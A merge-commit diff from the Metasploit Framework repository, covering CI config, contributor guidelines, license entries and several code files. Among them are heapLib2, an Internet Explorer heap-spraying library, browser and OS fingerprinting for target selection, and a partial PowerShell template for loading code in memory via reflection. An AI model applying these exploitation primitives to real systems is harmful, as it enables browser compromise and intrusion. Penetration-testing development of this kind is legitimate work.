Merge branch 'upstream/master' into stop_abusing_expand_path
Conflicts: lib/msf/core/post/windows/shadowcopy.rb modules/exploits/windows/local/bypassuac.rb modules/post/windows/gather/wmic_command.rb modules/post/windows/manage/persistence.rbbug/bundler_fix
commit
3ea3968d88
|
@ -1,11 +1,15 @@
|
||||||
language: ruby
|
language: ruby
|
||||||
|
env: MSF_SPOTCHECK_RECENT=1
|
||||||
before_install:
|
before_install:
|
||||||
|
- rake --version
|
||||||
- sudo apt-get update -qq
|
- sudo apt-get update -qq
|
||||||
- sudo apt-get install -qq libpcap-dev
|
- sudo apt-get install -qq libpcap-dev
|
||||||
before_script:
|
before_script:
|
||||||
|
- ./tools/msftidy.rb
|
||||||
- cp config/database.yml.travis config/database.yml
|
- cp config/database.yml.travis config/database.yml
|
||||||
- rake db:create
|
- bundle exec rake --version
|
||||||
- rake db:migrate
|
- bundle exec rake db:create
|
||||||
|
- bundle exec rake db:migrate
|
||||||
|
|
||||||
rvm:
|
rvm:
|
||||||
#- '1.8.7'
|
#- '1.8.7'
|
||||||
|
|
|
@ -1,44 +1,68 @@
|
||||||
# Contributing to Metasploit
|
# Contributing to Metasploit
|
||||||
|
|
||||||
## Reporting Bugs
|
Thanks for your interest in making Metasploit -- and therefore, the
|
||||||
|
world -- a better place! What you see here in CONTRIBUTING.md is a
|
||||||
|
bullet-point list of the do's and don'ts of how to make sure *your*
|
||||||
|
valuable contributions actually make it into Metasploit's master branch.
|
||||||
|
|
||||||
If you would like to report a bug, please take a look at [our Redmine
|
If you care not to follow these rules, your contribution **will** be
|
||||||
issue
|
closed (*Road House* style). Sorry!
|
||||||
tracker](https://dev.metasploit.com/redmine/projects/framework/issues?query_id=420)
|
|
||||||
-- your bug may already have been reported there! Simply [searching](https://dev.metasploit.com/redmine/projects/framework/search) for some appropriate keywords may save everyone a lot of hassle.
|
|
||||||
|
|
||||||
If your bug is new and you'd like to report it you will need to
|
Incidentally, this is a **short** list. The
|
||||||
[register
|
[wiki](https://github.com/rapid7/metasploit-framework/wiki) is much more
|
||||||
first](https://dev.metasploit.com/redmine/account/register). Don't
|
exhaustive and reveals many mysteries. If you read nothing else, take a
|
||||||
worry, it's easy and fun and takes about 30 seconds.
|
look at the standard [development environment setup
|
||||||
|
guide](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment)
|
||||||
|
and Metasploit's [Common Coding Mistakes](https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes).
|
||||||
|
|
||||||
When you file a bug report, please include your **steps to reproduce**,
|
## Code Contributions
|
||||||
full copy-pastes of Ruby stack traces, and any relevant details about
|
|
||||||
your environment. Without repro steps, your bug will likely be closed.
|
|
||||||
With repro steps, your bugs will likely be fixed.
|
|
||||||
|
|
||||||
## Contributing Metasploit Modules
|
* **Do** stick to the [Ruby style guide](https://github.com/bbatsov/ruby-style-guide).
|
||||||
|
* **Do** follow the [50/72 rule](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html) for Git commit messages.
|
||||||
|
* **Do** create a [topic branch](http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches) to work on instead of working directly on `master`.
|
||||||
|
|
||||||
If you have an exploit that you'd like to contribute to the Metasploit
|
### Pull Requests
|
||||||
Framework, please familiarize yourself with the
|
|
||||||
**[HACKING](https://github.com/rapid7/metasploit-framework/blob/master/HACKING)**
|
|
||||||
document in the
|
|
||||||
Metasploit-Framework repository. There are many mysteries revealed in
|
|
||||||
HACKING concerning code style and content.
|
|
||||||
|
|
||||||
[Pull requests](https://github.com/rapid7/metasploit-framework/pulls)
|
* **Do** specify a descriptive title to make searching for your pull request easier.
|
||||||
should corellate with modules at a 1:1 ratio
|
* **Do** include [console output](https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks), especially for witnessable effects in `msfconsole`.
|
||||||
-- there is rarely a good reason to have two, three, or ten modules on
|
* **Do** list [verification steps](https://help.github.com/articles/writing-on-github#task-lists) so your code is testable.
|
||||||
one pull request, as this dramatically increases the review time
|
* **Don't** leave your pull request description blank.
|
||||||
required to land (commit) any of those modules.
|
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
|
||||||
|
|
||||||
Pull requests tend to be very collaborative for Metasploit -- do not be
|
Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940) and [#3043](https://github.com/rapid7/metasploit-framework/pull/3043) are a couple good examples to follow.
|
||||||
surprised if your pull request to rapid7/metasploit-framework triggers a
|
|
||||||
pull request back to your own fork. In this way, we can isolate working
|
|
||||||
changes before landing your PR to the Metasploit master branch.
|
|
||||||
|
|
||||||
To save yourself the embarrassment of committing common errors, you will
|
#### New Modules
|
||||||
want to symlink the `msftidy.rb` utility to your pre-commit hooks by
|
|
||||||
running `ln -s ../../tools/dev/pre-commit-hook.rb .git/hooks/pre-commit`
|
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up. Even better would be to set up `msftidy.rb` as a [pre-commit hook](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb).
|
||||||
from the top-level directory of your metasploit-framework clone. This
|
* **Do** use the [API](https://dev.metasploit.com/documents/api/). Wheel improvements are welcome; wheel reinventions, not so much.
|
||||||
will prevent you from committing modules that raise WARNINGS or ERRORS.
|
* **Don't** include more than one module per pull request.
|
||||||
|
|
||||||
|
#### Library Code
|
||||||
|
|
||||||
|
* **Do** write [RSpec](http://rspec.info/) tests - even the smallest change in library land can thoroughly screw things up.
|
||||||
|
* **Do** follow [Better Specs](http://betterspecs.org/) - it's like the style guide for specs.
|
||||||
|
* **Do** write [YARD](http://yardoc.org/) documentation - this makes it easier for people to use your code.
|
||||||
|
|
||||||
|
#### Bug Fixes
|
||||||
|
|
||||||
|
* **Do** include reproduction steps in the form of verification steps.
|
||||||
|
* **Do** include a link to the corresponding [Redmine](https://dev.metasploit.com/redmine/projects/framework) issue in the format of `SeeRM #1234` in your commit description.
|
||||||
|
|
||||||
|
## Bug Reports
|
||||||
|
|
||||||
|
* **Do** report vulnerabilities in Rapid7 software to security@rapid7.com.
|
||||||
|
* **Do** create a Redmine account and report your bug there.
|
||||||
|
* **Do** write a detailed description of your bug and use a descriptive title.
|
||||||
|
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
|
||||||
|
* **Don't** file duplicate reports - search for your bug before filing a new report.
|
||||||
|
* **Don't** report a bug on GitHub. Use [Redmine](https://dev.metasploit.com/redmine/projects/framework) instead.
|
||||||
|
|
||||||
|
Redmine issues [#8762](https://dev.metasploit.com/redmine/issues/8762) and [#8764](https://dev.metasploit.com/redmine/issues/8764) are a couple good examples to follow.
|
||||||
|
|
||||||
|
If you need some more guidance, talk to the main body of open
|
||||||
|
source contributors over on the [Freenode IRC channel](http://webchat.freenode.net/?channels=%23metasploit&uio=d4)
|
||||||
|
or e-mail us at [metasploit-hackers](https://lists.sourceforge.net/lists/listinfo/metasploit-hackers)
|
||||||
|
mailing list.
|
||||||
|
|
||||||
|
Also, **thank you** for taking the few moments to read this far! You're
|
||||||
|
already way ahead of the curve, so keep it up!
|
||||||
|
|
152
HACKING
152
HACKING
|
@ -1,146 +1,38 @@
|
||||||
# $Id$
|
HACKING
|
||||||
|
=======
|
||||||
|
|
||||||
This file contains some brief instructions on contributing to the
|
(Last updated: 2014-03-04)
|
||||||
Metasploit Framework.
|
|
||||||
|
|
||||||
Code Style
|
This document almost entirely deprecated by:
|
||||||
==========
|
|
||||||
|
|
||||||
In order to maintain consistency and readability, we ask that you
|
CONTRIBUTING.md
|
||||||
adhere to the following style guidelines:
|
|
||||||
|
|
||||||
- Standard Ruby two-space soft tabs, not hard tabs.
|
in the same directory as this file, and to a lesser extent:
|
||||||
- Try to keep your lines under 100 columns (assuming two-space tabs)
|
|
||||||
- do; end instead of {} for a block
|
|
||||||
- Always use str[0,1] instead of str[0]
|
|
||||||
(This avoids a known ruby 1.8/1.9 incompatibility.)
|
|
||||||
- Method names should always be lower_case and words separated by "_"
|
|
||||||
- Variable names should be lower case with words separated by "_"
|
|
||||||
- Don't depend on any external gems or libraries without talking to
|
|
||||||
todb to resolve packaging and licensing issues
|
|
||||||
|
|
||||||
You can use the the "./tools/msftidy.rb" script to do some rudimentary
|
|
||||||
checking for various violations.
|
|
||||||
|
|
||||||
|
|
||||||
Code No-Nos
|
|
||||||
===========
|
|
||||||
|
|
||||||
1. Don't print to standard output. Doing so means that users of
|
|
||||||
interfaces other than msfconsole, such as msfrpc and msfgui, won't see
|
|
||||||
your output. You can use print_line to accomplish the same thing as
|
|
||||||
puts.
|
|
||||||
|
|
||||||
2. Don't read from standard input, doing so will make your code
|
|
||||||
lock up the entire module when called from other interfaces. If you
|
|
||||||
need user input, you can either register an option or expose an
|
|
||||||
interactive session type specific for the type of exploit.
|
|
||||||
|
|
||||||
3. Always use Rex sockets, not ruby sockets. This includes
|
|
||||||
third-party libraries such as Net::Http. There are several very good
|
|
||||||
reasons for this rule. First, the framework doesn't get notified on
|
|
||||||
the creation of ruby sockets and won't know how to clean them up in
|
|
||||||
case your module raises an exception without cleaning up after itself.
|
|
||||||
Secondly, non-Rex sockets do not know about routes and therefore can't
|
|
||||||
be used through a meterpreter tunnel. Lastly, regular sockets miss
|
|
||||||
out on msf's proxy and SSL features. Msf includes many protocols
|
|
||||||
already implemented with Rex and if the protocol you need is missing,
|
|
||||||
porting another library to use them is straight-forward. See our
|
|
||||||
Net::SSH modifications in lib/net/ssh/ for an example.
|
|
||||||
|
|
||||||
4. When opening an IO stream, always force binary with "b" mode (or
|
|
||||||
using IO#binmode). This not only helps keep Windows and non-Windows
|
|
||||||
runtime environments consistent with each other, but also guarantees
|
|
||||||
that files will be treated as ASCII-8BIT instead of UTF-8.
|
|
||||||
|
|
||||||
5. Don't use String#[] for a single character. This returns a Fixnum in
|
|
||||||
ruby 1.8 and a String in 1.9, so it's safer to use the following idiom:
|
|
||||||
str[idx,1]
|
|
||||||
which always returns a String. If you need the ASCII byte, unpack it like
|
|
||||||
so:
|
|
||||||
tr[idx,1].unpack("C")[0]
|
|
||||||
|
|
||||||
6. Whenever possible, avoid using '+' or '+=' to concatenate strings.
|
|
||||||
The '<<' operator is significantly faster. The difference will become
|
|
||||||
even more apparent when doing string manipulation in a loop. The
|
|
||||||
following table approximates the underlying implementation:
|
|
||||||
|
|
||||||
Ruby Pseudo-C
|
|
||||||
----------- ----------------
|
|
||||||
a = b + c a = malloc(b.len+c.len+1);
|
|
||||||
strcpy(a, b);
|
|
||||||
memcpy(a+b.len, c, c.len);
|
|
||||||
a[b.len + c.len] = '\0';
|
|
||||||
a = b a = b;
|
|
||||||
a << c a = realloc(a, a.len+c.len+1);
|
|
||||||
memcpy(a+a.len, c, c.len);
|
|
||||||
a[a.len + c.len] = '\0';
|
|
||||||
|
|
||||||
Note that the original value of 'b' is lost in the second case. Care
|
|
||||||
must be taken to duplicate strings that you do not want to modify.
|
|
||||||
|
|
||||||
7. For other Ruby 1.8.x/1.9.x compat issues, please see Sam Ruby's
|
|
||||||
excellent slide show at <http://slideshow.rubyforge.org/ruby19.html>
|
|
||||||
for an overview of common and not-so-common Ruby version related gotchas.
|
|
||||||
|
|
||||||
8. Never, ever use $global variables. This applies to modules, mixins,
|
|
||||||
and libraries. If you need a "global" within a specific class, you can
|
|
||||||
use @@class_variables, but most modules should use @instance variables
|
|
||||||
to store information between methods.
|
|
||||||
|
|
||||||
9. Don't craft your XML document raw or by using Nokogiri, the current
|
|
||||||
preferred way is REXML.
|
|
||||||
|
|
||||||
Creating New Modules
|
|
||||||
====================
|
|
||||||
|
|
||||||
When creating a new module, the simplest way to start is to copy
|
|
||||||
another module that uses the same protocol and modify it to your
|
|
||||||
needs. If you're creating an exploit module, generally you'll want
|
|
||||||
to edit the exploit() method. Auxiliary Scanner modules use one of
|
|
||||||
run_host(), run_range(), or run_batch() instead of exploit().
|
|
||||||
Non-scanner aux modules use run().
|
|
||||||
|
|
||||||
|
|
||||||
Submitting Your Code
|
|
||||||
====================
|
|
||||||
|
|
||||||
To get started with a Metasploit Framework source clone, simply:
|
|
||||||
|
|
||||||
- Fork rapid7/metasploit-framework to your GitHub account
|
|
||||||
- git clone git://github.com/YourName/metasploit-framework.git
|
|
||||||
- gem install bundler
|
|
||||||
- bundle install
|
|
||||||
|
|
||||||
More detailed documentation regarding the process for submitting new
|
|
||||||
modules via GitHub is documented here:
|
|
||||||
|
|
||||||
|
The Metasploit Development Environment
|
||||||
https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment
|
https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment
|
||||||
|
|
||||||
This describes the process of forking, editing, and generating a
|
Common Coding Mistakes
|
||||||
pull request, and is the preferred method for bringing new modules
|
https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
|
||||||
and framework enhancements to the attention of the core Metasploit
|
|
||||||
development team. Note that this process requires a GitHub account.
|
|
||||||
|
|
||||||
For Git commits, please adhere to 50/72 formatting: your commits should
|
The Ruby Style Guide
|
||||||
start with a line 50 characters or less, followed by a blank line,
|
https://github.com/bbatsov/ruby-style-guide
|
||||||
followed by one or more lines of explanatory text wrapped at at 72
|
|
||||||
characters Pull requests with commits not formatted this way will
|
|
||||||
be rejected without review.
|
|
||||||
|
|
||||||
For modules, note that Author field is not automatic, and should be
|
Ruby 1.9: What to Expect
|
||||||
filled in in the format of 'Your Name <user[at]domain.tld>' so future
|
http://slideshow.rubyforge.org/ruby19.html
|
||||||
developers can contact you with any questions.
|
|
||||||
|
You can use the the "./tools/msftidy.rb" script against your new and
|
||||||
|
changed modules to do some rudimentary checking for various style and
|
||||||
|
syntax violations.
|
||||||
|
|
||||||
|
Licensing for Your New Content
|
||||||
|
==============================
|
||||||
|
|
||||||
Licensing
|
|
||||||
=========
|
|
||||||
By submitting code contributions to the Metasploit Project it is
|
By submitting code contributions to the Metasploit Project it is
|
||||||
assumed that you are offering your code under the Metasploit License
|
assumed that you are offering your code under the Metasploit License
|
||||||
or similar 3-clause BSD-compatible license. MIT and Ruby Licenses
|
or similar 3-clause BSD-compatible license. MIT and Ruby Licenses
|
||||||
are also fine. We specifically cannot include GPL code. LGPL code
|
are also fine. We specifically cannot include GPL code. LGPL code
|
||||||
is accepted on a case by case basis for libraries only and is never
|
is accepted on a case by case basis for libraries only and is never
|
||||||
accepted for modules.
|
accepted for modules.
|
||||||
|
|
||||||
When possible, such as aux and exploit modules, be sure to include
|
|
||||||
your license designation in the file in the appropriate place.
|
|
||||||
|
|
||||||
|
|
9
LICENSE
9
LICENSE
|
@ -15,6 +15,10 @@ License: BSD-3-clause
|
||||||
# Last updated: 2013-Nov-04
|
# Last updated: 2013-Nov-04
|
||||||
#
|
#
|
||||||
|
|
||||||
|
Files: data/templates/to_mem_pshreflection.ps1.template
|
||||||
|
Copyright: 2012, Matthew Graeber
|
||||||
|
License: BSD-3-clause
|
||||||
|
|
||||||
Files: data/john/*
|
Files: data/john/*
|
||||||
Copyright: 1996-2011 Solar Designer.
|
Copyright: 1996-2011 Solar Designer.
|
||||||
License: GPL-2
|
License: GPL-2
|
||||||
|
@ -147,6 +151,11 @@ Files: modules/payloads/singles/windows/speak_pwned.rb
|
||||||
Copyright: 2009-2010 Berend-Jan "SkyLined" Wever <berendjanwever@gmail.com>
|
Copyright: 2009-2010 Berend-Jan "SkyLined" Wever <berendjanwever@gmail.com>
|
||||||
License: BSD-3-clause
|
License: BSD-3-clause
|
||||||
|
|
||||||
|
Files: data/webcam/api.js
|
||||||
|
Copyright: Copyright 2013 Muaz Khan<@muazkh>.
|
||||||
|
License: MIT
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Gems
|
# Gems
|
||||||
#
|
#
|
||||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1 @@
|
||||||
|
Any DjVu file can be used this is just a snazzy Metasploit one
|
|
@ -184,6 +184,9 @@ window.os_detect.getVersion = function(){
|
||||||
} else if (platform.match(/arm/)) {
|
} else if (platform.match(/arm/)) {
|
||||||
// Android and maemo
|
// Android and maemo
|
||||||
arch = arch_armle;
|
arch = arch_armle;
|
||||||
|
if (navigator.userAgent.match(/android/i)) {
|
||||||
|
os_flavor = 'Android';
|
||||||
|
}
|
||||||
}
|
}
|
||||||
} else if (platform.match(/windows/)) {
|
} else if (platform.match(/windows/)) {
|
||||||
os_name = oses_windows;
|
os_name = oses_windows;
|
||||||
|
@ -193,8 +196,7 @@ window.os_detect.getVersion = function(){
|
||||||
if (!ua_version || 0 == ua_version.length) {
|
if (!ua_version || 0 == ua_version.length) {
|
||||||
ua_is_lying = true;
|
ua_is_lying = true;
|
||||||
}
|
}
|
||||||
} else if (!document.all && navigator.taintEnabled ||
|
} else if (navigator.oscpu && !document.all && navigator.taintEnabled || 'MozBlobBuilder' in window) {
|
||||||
'MozBlobBuilder' in window) {
|
|
||||||
// Use taintEnabled to identify FF since other recent browsers
|
// Use taintEnabled to identify FF since other recent browsers
|
||||||
// implement window.getComputedStyle now. For some reason, checking for
|
// implement window.getComputedStyle now. For some reason, checking for
|
||||||
// taintEnabled seems to cause IE 6 to stop parsing, so make sure this
|
// taintEnabled seems to cause IE 6 to stop parsing, so make sure this
|
||||||
|
@ -210,7 +212,9 @@ window.os_detect.getVersion = function(){
|
||||||
// Thanks to developer.mozilla.org "Firefox for developers" series for most
|
// Thanks to developer.mozilla.org "Firefox for developers" series for most
|
||||||
// of these.
|
// of these.
|
||||||
// Release changelogs: http://www.mozilla.org/en-US/firefox/releases/
|
// Release changelogs: http://www.mozilla.org/en-US/firefox/releases/
|
||||||
if (css_is_valid('image-orientation',
|
if (css_is_valid('cursor', 'cursor', 'grab')) {
|
||||||
|
ua_version = '27.0';
|
||||||
|
} else if (css_is_valid('image-orientation',
|
||||||
'imageOrientation',
|
'imageOrientation',
|
||||||
'0deg')) {
|
'0deg')) {
|
||||||
ua_version = '26.0';
|
ua_version = '26.0';
|
||||||
|
@ -877,6 +881,18 @@ window.os_detect.getVersion = function(){
|
||||||
os_flavor = "7";
|
os_flavor = "7";
|
||||||
os_sp = "SP1";
|
os_sp = "SP1";
|
||||||
break;
|
break;
|
||||||
|
case "11016428":
|
||||||
|
// IE 11.0.9600.16428 / Windows 7 SP1
|
||||||
|
ua_version = "11.0";
|
||||||
|
os_flavor = "7";
|
||||||
|
os_sp = "SP1";
|
||||||
|
break;
|
||||||
|
case "10016384":
|
||||||
|
// IE 10.0.9200.16384 / Windows 8 x86
|
||||||
|
ua_version = "10.0";
|
||||||
|
os_flavor = "8";
|
||||||
|
os_sp = "SP0";
|
||||||
|
break;
|
||||||
case "1000":
|
case "1000":
|
||||||
// IE 10.0.8400.0 (Pre-release + KB2702844), Windows 8 x86 English Pre-release
|
// IE 10.0.8400.0 (Pre-release + KB2702844), Windows 8 x86 English Pre-release
|
||||||
ua_version = "10.0";
|
ua_version = "10.0";
|
||||||
|
|
|
@ -0,0 +1,192 @@
|
||||||
|
//heapLib2 namespace
|
||||||
|
function heapLib2() { }
|
||||||
|
|
||||||
|
//These are attributes that will not actually create a bstr
|
||||||
|
//and directly use the back-end allocator, completely bypassing the cache
|
||||||
|
var global_attrs = ["title", "lang", "class"];
|
||||||
|
|
||||||
|
heapLib2.ie = function(element, maxAlloc)
|
||||||
|
{
|
||||||
|
//128mb
|
||||||
|
this.maxAlloc = 0x8000000;
|
||||||
|
|
||||||
|
//make sure that an HTML DOM element is passed
|
||||||
|
if(!element.nodeType || element.nodeType != 1)
|
||||||
|
throw "alloc.argument: element not valid";
|
||||||
|
|
||||||
|
this.element = element;
|
||||||
|
|
||||||
|
if(maxAlloc)
|
||||||
|
this.maxAlloc = maxAlloc;
|
||||||
|
|
||||||
|
//empty the cache
|
||||||
|
this.Oleaut32EmptyCache();
|
||||||
|
this.Oleaut32FillCache();
|
||||||
|
this.Oleaut32EmptyCache();
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
heapLib2.ie.prototype.newelement = function(element)
|
||||||
|
{
|
||||||
|
//make sure that an HTML DOM element is passed
|
||||||
|
if(!element.nodeType || element.nodeType != 1)
|
||||||
|
throw "alloc.argument: element not valid";
|
||||||
|
|
||||||
|
this.element = element;
|
||||||
|
}
|
||||||
|
|
||||||
|
heapLib2.ie.prototype.alloc = function(attr_name, size, cache_ok)
|
||||||
|
{
|
||||||
|
if(typeof(cache_ok)==='undefined')
|
||||||
|
cache_ok = false;
|
||||||
|
else
|
||||||
|
cache_ok = true;
|
||||||
|
|
||||||
|
//make sure the attribute name is a string
|
||||||
|
if(typeof attr_name != "string")
|
||||||
|
throw "alloc.argument: attr_name is not a string";
|
||||||
|
|
||||||
|
//make sure that the attribute name is not already present in the html element
|
||||||
|
if(this.element.getAttribute(attr_name))
|
||||||
|
throw "alloc.argument: element already contains attr_name: " + attr_name;
|
||||||
|
|
||||||
|
//ensure the size is a number
|
||||||
|
if(typeof size != "number")
|
||||||
|
throw "alloc.argument: size is not a number: " + size;
|
||||||
|
|
||||||
|
//make sure the size isn't one of the special values
|
||||||
|
if(!cache_ok && (size == 0x20 || size == 0x40 || size == 0x100 || size == 0x8000))
|
||||||
|
throw "alloc.argument: size cannot be flushed from cache: " + size;
|
||||||
|
|
||||||
|
if(size > this.maxAlloc)
|
||||||
|
throw "alloc.argument: size cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
|
||||||
|
|
||||||
|
//the size must be at a 16-byte boundary this can be commented out but
|
||||||
|
//the allocations will be rounded to the nearest 16-byte boundary
|
||||||
|
if(size % 16 != 0)
|
||||||
|
throw "alloc.argument: size be a multiple of 16: " + size;
|
||||||
|
|
||||||
|
//20-bytes will be added to the size
|
||||||
|
//<4-byte size><data><2-byte null>
|
||||||
|
size = ((size / 2) - 6);
|
||||||
|
|
||||||
|
//May have to change this due to allocation side effects
|
||||||
|
var data = new Array(size).join(cache_ok ? "C" : "$");
|
||||||
|
|
||||||
|
var attr = document.createAttribute(attr_name);
|
||||||
|
this.element.setAttributeNode(attr);
|
||||||
|
this.element.setAttribute(attr_name, data);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
//These items will allocate/free memory and should really
|
||||||
|
//only be used once per element. You can use a new element
|
||||||
|
//by calling the 'newelement' method above
|
||||||
|
heapLib2.ie.prototype.alloc_nobstr = function(val)
|
||||||
|
{
|
||||||
|
//make sure the aval is a string
|
||||||
|
if(typeof val != "string")
|
||||||
|
throw "alloc.argument: val is not a string";
|
||||||
|
|
||||||
|
var size = (val.length * 2) + 6;
|
||||||
|
|
||||||
|
if(size > this.maxAlloc)
|
||||||
|
throw "alloc_nobstr.val: string length cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
|
||||||
|
|
||||||
|
var i = 0;
|
||||||
|
var set_gattr = 0;
|
||||||
|
for(i = 0; i < global_attrs.length; i++)
|
||||||
|
{
|
||||||
|
curr_gattr = global_attrs[i];
|
||||||
|
if(!this.element.getAttribute(curr_gattr))
|
||||||
|
{
|
||||||
|
this.element.setAttribute(curr_gattr, "");
|
||||||
|
this.element.setAttribute(curr_gattr, val);
|
||||||
|
set_gattr = 1;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if(set_gattr == 0)
|
||||||
|
throw "alloc_nobstr: all global attributes are assigned, try a new element";
|
||||||
|
}
|
||||||
|
|
||||||
|
//completely bypass the cache, useful for heap spraying (see heapLib2_test.html)
|
||||||
|
heapLib2.ie.prototype.sprayalloc = function(attr_name, str)
|
||||||
|
{
|
||||||
|
//make sure the attribute name is a string
|
||||||
|
if(typeof attr_name != "string")
|
||||||
|
throw "alloc.argument: attr_name is not a string";
|
||||||
|
|
||||||
|
//make sure that the attribute name is not already present in the html element
|
||||||
|
if(this.element.getAttribute(attr_name))
|
||||||
|
throw "alloc.argument: element already contains attr_name: " + attr_name;
|
||||||
|
|
||||||
|
//ensure the size is a number
|
||||||
|
if(typeof str != "string")
|
||||||
|
throw "alloc.argument: str is not a string: " + typeof str;
|
||||||
|
|
||||||
|
var size = (str.length * 2) + 6;
|
||||||
|
|
||||||
|
//make sure the size isn't one of the special values
|
||||||
|
if(size <= 0x8000)
|
||||||
|
throw "alloc.argument: bigalloc must be greater than 0x8000: " + size;
|
||||||
|
|
||||||
|
if(size > this.maxAlloc)
|
||||||
|
throw "alloc.argument: size cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
|
||||||
|
|
||||||
|
var attr = document.createAttribute(attr_name);
|
||||||
|
this.element.setAttributeNode(attr);
|
||||||
|
this.element.setAttribute(attr_name, str);
|
||||||
|
}
|
||||||
|
|
||||||
|
heapLib2.ie.prototype.free = function(attr_name, skip_flush)
|
||||||
|
{
|
||||||
|
if(typeof(skip_flush)==='undefined')
|
||||||
|
skip_flush = false;
|
||||||
|
else
|
||||||
|
skip_flush = true;
|
||||||
|
|
||||||
|
//make sure that an HTML DOM element is passed
|
||||||
|
if(!this.element.nodeType || this.element.nodeType != 1)
|
||||||
|
throw "alloc.argument: element not valid";
|
||||||
|
|
||||||
|
//make sure the attribute name is a string
|
||||||
|
if(typeof attr_name != "string")
|
||||||
|
throw "alloc.argument: attr_name is not a string";
|
||||||
|
|
||||||
|
//make sure that the attribute name is not already present in the html element
|
||||||
|
if(!this.element.getAttribute(attr_name))
|
||||||
|
throw "alloc.argument: element does not contain attribute: " + attr_name;
|
||||||
|
|
||||||
|
//make sure the cache is full so the chunk returns the general purpose heap
|
||||||
|
if(!skip_flush)
|
||||||
|
this.Oleaut32FillCache();
|
||||||
|
|
||||||
|
this.element.setAttribute(attr_name, null);
|
||||||
|
|
||||||
|
if(!skip_flush)
|
||||||
|
this.Oleaut32EmptyCache()
|
||||||
|
}
|
||||||
|
|
||||||
|
heapLib2.ie.prototype.Oleaut32FillCache = function()
|
||||||
|
{
|
||||||
|
for(var i = 0; i < 6; i++)
|
||||||
|
{
|
||||||
|
this.free("cache0x20"+i, true);
|
||||||
|
this.free("cache0x40"+i, true);
|
||||||
|
this.free("cache0x100"+i, true);
|
||||||
|
this.free("cache0x8000"+i, true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
heapLib2.ie.prototype.Oleaut32EmptyCache = function()
|
||||||
|
{
|
||||||
|
for(var i = 0; i < 6; i++)
|
||||||
|
{
|
||||||
|
this.alloc("cache0x20"+i, 0x20, true);
|
||||||
|
this.alloc("cache0x40"+i, 0x40, true);
|
||||||
|
this.alloc("cache0x100"+i, 0x100, true);
|
||||||
|
this.alloc("cache0x8000"+i, 0x8000, true);
|
||||||
|
}
|
||||||
|
}
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -158,15 +158,10 @@ class STDProcessBuffer(threading.Thread):
|
||||||
self.data_lock = threading.RLock()
|
self.data_lock = threading.RLock()
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
while self.is_alive():
|
for byte in iter(lambda: self.std.read(1), ''):
|
||||||
byte = self.std.read(1)
|
|
||||||
self.data_lock.acquire()
|
self.data_lock.acquire()
|
||||||
self.data += byte
|
self.data += byte
|
||||||
self.data_lock.release()
|
self.data_lock.release()
|
||||||
data = self.std.read()
|
|
||||||
self.data_lock.acquire()
|
|
||||||
self.data += data
|
|
||||||
self.data_lock.release()
|
|
||||||
|
|
||||||
def is_read_ready(self):
|
def is_read_ready(self):
|
||||||
return len(self.data) != 0
|
return len(self.data) != 0
|
||||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,27 @@
|
||||||
|
function %{func_get_proc_address} {
|
||||||
|
Param ($%{var_module}, $%{var_procedure})
|
||||||
|
$%{var_unsafe_native_methods} = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
|
||||||
|
|
||||||
|
return $%{var_unsafe_native_methods}.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($%{var_unsafe_native_methods}.GetMethod('GetModuleHandle')).Invoke($null, @($%{var_module})))), $%{var_procedure}))
|
||||||
|
}
|
||||||
|
|
||||||
|
function %{func_get_delegate_type} {
|
||||||
|
Param (
|
||||||
|
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $%{var_parameters},
|
||||||
|
[Parameter(Position = 1)] [Type] $%{var_return_type} = [Void]
|
||||||
|
)
|
||||||
|
|
||||||
|
$%{var_type_builder} = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
|
||||||
|
$%{var_type_builder}.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
|
||||||
|
